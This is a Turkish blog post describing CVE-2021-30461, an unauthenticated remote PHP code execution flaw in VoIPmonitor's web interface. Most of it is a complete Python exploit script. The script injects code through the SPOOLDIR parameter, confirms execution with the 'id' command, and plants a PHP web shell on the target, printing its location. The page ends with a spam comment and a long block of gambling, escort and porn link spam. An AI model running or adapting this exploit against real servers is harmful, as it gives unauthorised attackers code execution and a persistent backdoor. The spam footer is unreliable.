VoIPmonitor UnAuth RCE – CVE-2021-30461

VoIPmonitor’daki bir güvenlik açığının kimliği doğrulanmamış bir saldırganın rasgele kod yürütmesine izin verdiği keşfedildi.

VoIPmonitor Nedir?
VoIPmonitor, Linux üzerinde çalışan SIP RTP ve RTCP VoIP protokolleri için açık kaynak ağ paket dinleyicisidir.

Güvenlik Açığı Özeti
Kullanıcı tarafından sağlanan verilerin kullanılması, web arayüzü yoluyla gelen, kimliği doğrulanmamış kullanıcıların VoIPmonitor’da uzaktan PHP kodu yürütme güvenlik açığını tetiklemesine olanak tanır.

Bağımsız bir güvenlik araştırmacısı Furkan Göksel, bu güvenlik açığını SSD Secure Disclosure programına bildirdi.

Etkilenen Sürümler

VoIPmonitor sürüm 24.60 ve öncesi

Güvenlik Açığı Analizi

Kötü amaçlı işlevin uygun olmayan şekilde filtrelenmesi nedeniyle, saldırgan, VoIPMonitor’un web kullanıcı arayüzünün PHP uygulaması aracılığıyla komut çalıştırabilir.

İndex.php dosyasına SPOOLDIR ve recheck rametreleriyle POST isteği yapıldığında , güvenlik açığı tetiklenir.

CVE-2021-30461 – POC

import argparse
from sys import argv,exit
import time
import random
import string

try:
    import requests
except ImportError:
    print("pip3 install requests ")

print("""
###############################################
#              VOIP Monitor RCE               #
###############################################
""")

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}


def get_target(args):
    hostname = args.host
    path = args.path
    if path:
        return f"http://{hostname}/{path}/index.php"
    else:
        return f"http://{hostname}/index.php"

def set_tmp(args):
    global headers
    target = get_target(args)
    n_data = {"SPOOLDIR": "/tmp", "recheck": "annen"}
    set_totmp = requests.post(target, n_data, headers=headers)
    print(f"[*] set /tmp {set_totmp}")


def checkVulnerability(args):
    global headers
    target = get_target(args)
    print(f"[+] Attacking {target}")
    testcmd = {"SPOOLDIR": "test\".system(id).\"", "recheck": "annen"}
    response_text = b"uid="
    testcmd_req = requests.post(target, testcmd, verify=False, headers=headers)
    if response_text in testcmd_req.content:
        print("[*] host is vulnerable")
    else:
        print("[-] host is not vulnerable")
        exit()


def uploadshell(args):
    global headers
    hostname = args.host
    path = args.path
    shell_path = ""
    shellfilename = str ( ''.join(random.choice(string.ascii_lowercase) for i in range(10)) )
    target = get_target(args)
    rce_payload = {"SPOOLDIR": f"/tmp\".file_put_contents('{shellfilename}.php','<?php echo system($_GET[\"a\"]);').\"", "recheck": "annen"}
    rce_req = requests.post(target, headers=headers, data=rce_payload)
    print(f"[*] uploading shell {rce_req.status_code}")
    if path:
        shell_path = f"http://{hostname}/{path}/{shellfilename}.php"
    else:
        shell_path = f"http://{hostname}/{shellfilename}.php"
    shell_check = requests.get(shell_path, headers=headers, params={'a':'id'})
    print(f"[*] RCE Check : {shell_check.text}")
    print(f"[*] Your Shell at {shell_path}")


def main():
    parser = argparse.ArgumentParser(description='VoIP Monitor all versions command execution')
    parser.add_argument('-t','--host',help='Host', type=str)
    parser.add_argument('-b', '--path',help='Path of the VoIP Monitor', type=str)
    args = parser.parse_args()
    set_tmp(args)
    checkVulnerability(args)
    set_tmp(args)
    uploadshell(args)
    set_tmp(args)



if __name__ == "__main__":
    main()

2 Yorum

  1. terima kasih telah berbagi berita Mas, senang sekali rasanya membaca tulisan2 di blog ini, saya merasa bertambah wawasan semoga yang mengeleloa blog ini selalu di berikan kesehatan..

Başa dön tuşu
hacklink al duşakabin fiyatları fethiye escort bayan escort - vip elit escort dizi film izle erotik film izle duşakabin hack forum casibom giriş marsbahis marsbahisgirtr marsbahis matadorbet casibom starzbet dinamobet nulled scriptfethiye escortbomb bonanza oynaboom city oynasugar rush oynablackbull oynashining hot oynaaviator oynaaviator oynatombala oynatropical tiki oynacandy palace oynaegt slot oynafire hot oynapragmatic slot oyunlarıstriking hot oynahappy hooves oynabarn festival oynaintobet girişegt slot oyunlarıvozolMedusabahis girişPendik EscortMaltepe Escortbetmavera girişفيديو اباحيiqosاباحي عربيMedusabahis girişhd pornoenobahishilarionbetvozol 6000tanıtım yazısı nedirDuşakabin Fiyatlarıduşakabin modelleriduşakabin tekerleğiduşakabin camıduşakabin temizliğiiqos heetsheets sigaraMaltese Terriermatadorbetcasibomsekabetcasibomvozol 12000elektronik sigara fiyatlarıimajbetiqoscasibomBetofficePusulabetvozolcasibomkralbetcasibomnakitbahisbets10mobilbahisz librarycasibompiabellacasinoholiganbetSumak Sirkesi Nasıl YapılırcasinometropolDeneme Bonusu Veren Sitelerxxx videosen iyi elektronik sigarasekabetsekabetinstagram ban servicenehirsohbet.combahsegelMatadorbetdumanbetbeylikduzu escortbetturkeybetturkeystarzbetRüyabetbycasinosıcak sohbet hattızbahisxslottempobettipobetperabetvdcasino1xbettarafbetpokerklasbetpasbetboomaltcasinomariobetwinxbetklasbahisCasibomMarsbahis GirişjojobetpusulabettümbetCasibombahsegelcasibom giriş twittersafirbettümbetextrabetbetkanyongrandbetting7slotsdinamobetcasibomtumbettümbetsuperbahis yeni adresibetparksuperbetinvbetkavbetcasibomextrabetcasibomcasibomimajbetdinamobetjojobetmarsbahissekabetonwinsahabetonwincasibomnakitbahiscasibommeritkingdumanbetdinamobetgalabetimajbetjojobetjojobetdinamobetdinamobetextrabetcasibommostbetbetmoongalabethiltonbetparibahisbetsmovebetnanomavibetsalt likitbetwoonvevobahisbetparksuperbetinvbetvbetgoldenbahisbetsmovebetsmovebetcupbetcupbahigobahigobetnanoasyabahismavibetcasibomlunabetcasibomcasibommariobettipobetcasibomvozol puff sigaradinamobetbahiscomYouwinmeritkingonwinsahabetmatadorbettipobetonwin girişmatadorbet girişsahabet girişstarzbetbetpublicsüpertotobetfixbetxslotbetmatikbetkommariobettarafbetbahiscom1xbetgrandpashabetsahabetsafirbetsahabetgrandpashabet twitterextrabetgrandpashabetvbetbetkombetebetbetebetholiganbetonwinmarsbahismatbetsekabetonwinsahabetholiganbetnakitbahismeritkingbahsegelcratosslotkralbetdinamobetbetkanyonbets10betebetgrandpashabetYouwin GirişHepsibahisfixbetonwinholiganbetbets10bets10bets10holiganbetbets10bets10bets10bets10bets10meritkingmeritking twitterDeneme bonusu veren sitelerCratosslot girişmatadorbettarafbet22betmatiktümbetBetmatikjojobet7slotsmarsbahisgrandpashabetholiganbetsekabetThesakultahOdeonbetextrabetbetebetgrandpashabetgrandpashabet twittermeritkingmarsbahisbetvolezbahisSahabetimajgrandpashabetmarsbahismarsbahisyouwinjojobetsekabetonwinsavoybettingjojobetpiabetgecelik escortbetebettaş kaplamabetpasmariobetholiganbetmcswizzlespuff.comhivevape.comvozolmarsbahis girişbaywin girişrestbetyouwinSekabetmatadorbetfixbetgrandpashabetYouwin GirişkalebetjojobetholiganbetpiabellacasinoSahabetfadiltarafbetjojobetmatadorbetholiganbetholiganbetyouwinvbetGrandpashabet dinamobetsahabetmeritkingcasibomjojobetartemisbetGrandpashabet Grandpashabet casibomjojobetholiganbetonwingrandpashabetjojobetcasibomjojobetholiganbetcasibomPusulabet Giriş Pusulabetjojobetizmir escortholiganbetSahabetmobil ödeme bozdurmasekabetjojobetjojobetjojobetgrandpashabettümbetlunabetpiabettümbetpusulabetbets10bets10imajbetgrandpashabetelexbetvbet giriş